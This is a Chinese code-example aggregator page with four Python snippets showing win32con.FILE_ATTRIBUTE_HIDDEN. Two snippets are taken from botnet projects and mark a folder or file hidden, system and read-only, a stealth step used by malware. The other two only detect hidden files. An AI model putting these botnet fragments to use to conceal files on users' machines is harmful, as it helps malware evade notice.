Python win32con 模块,FILE_ATTRIBUTE_HIDDEN 实例源码

我们从Python开源项目中,提取了以下4个代码示例,用于说明如何使用win32con.FILE_ATTRIBUTE_HIDDEN

项目:ActualBotNet    作者:invasi0nZ    | 项目源码 | 文件源码
def create_hidden_folder(self):
        if os.path.exists(path_to_files):
            pass
        else:
            os.makedirs(path_to_files)
            win32api.SetFileAttributes(path_to_files, win32con.FILE_ATTRIBUTE_HIDDEN)
项目:threat-research-tools    作者:carbonblack    | 项目源码 | 文件源码
def is_hidden( _filename ):

    if os.name == 'nt':
        attribute = win32api.GetFileAttributes( _filename )
        return attribute & ( win32con.FILE_ATTRIBUTE_HIDDEN | win32con.FILE_ATTRIBUTE_SYSTEM )

    else:
        ## macos && linux dotfiles
        return os.path.basename( _filename ).startswith( '.' )

#############
项目:dreamr-botnet    作者:YinAndYangSecurityAwareness    | 项目源码 | 文件源码
def hideFile(file):
    # (S)ystem, (H)idden, Not-(I)ndexed, (R)ead-only, 
    ShiraAttribs = win32con.FILE_ATTRIBUTE_HIDDEN | win32con.FILE_ATTRIBUTE_SYSTEM | win32con.FILE_ATTRIBUTE_READONLY | win32con.FILE_ATTRIBUTE_NOT_CONTENT_INDEXED

    try:
        win32api.SetFileAttributes(file, win32con.FILE_ATTRIBUTE_HIDDEN)
        win32api.SetFileAttributes(file, ShiraAttribs)
    except Exception as e:
        debug("core", "fail set shira permissions on file -> %s" % str(e))

# Shira file attribs unset
项目:king-phisher-plugins    作者:securestate    | 项目源码 | 文件源码
def path_is_hidden(self, path):
        if its.on_windows:
            attribute = win32api.GetFileAttributes(path)
            if attribute & (win32con.FILE_ATTRIBUTE_HIDDEN | win32con.FILE_ATTRIBUTE_SYSTEM):
                return True
        elif self.path_mod.basename(path).startswith('.'):
            return True
        return False